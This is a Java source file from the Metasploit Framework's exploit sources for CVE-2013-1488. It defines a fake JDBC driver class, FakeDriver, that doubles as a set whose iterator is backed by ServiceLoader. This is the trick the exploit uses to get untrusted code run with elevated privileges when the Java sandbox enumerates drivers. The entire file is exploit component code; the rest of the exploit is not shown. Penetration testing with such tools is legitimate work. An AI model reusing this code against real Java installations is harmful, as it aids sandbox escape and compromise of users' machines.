metasploit-framework/external/source/exploits/cve-2013-1488/FakeDriver.java

66 lines
1.3 KiB
Java
Raw Normal View History

2013-06-07 18:38:41 +00:00
import java.sql.*;
import java.util.logging.Logger;
import java.util.Properties;
import java.util.AbstractSet;
import java.util.ServiceLoader;
import java.util.Iterator;
public class FakeDriver extends AbstractSet implements java.sql.Driver
{
public static final String URL_PREFIX = "jdbc:msf:sql:";
public static ServiceLoader _s1;
static {
_s1 = ServiceLoader.load(Object.class);
}
public Iterator iterator()
{
return _s1.iterator();
}
public FakeDriver() {
}
public final boolean acceptsURL(String url)
throws SQLException
{
return true;
}
public final boolean jdbcCompliant() {
return true;
}
public final Logger getParentLogger() {
return null;
}
public final int getMinorVersion() {
return 0;
}
public final int getMajorVersion() {
return 1;
}
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
throws SQLException
{
return null;
}
public final Connection connect(String url, Properties info)
throws SQLException
{
return null;
}
//AbstractSet
public final int size() {
return 2;
}
}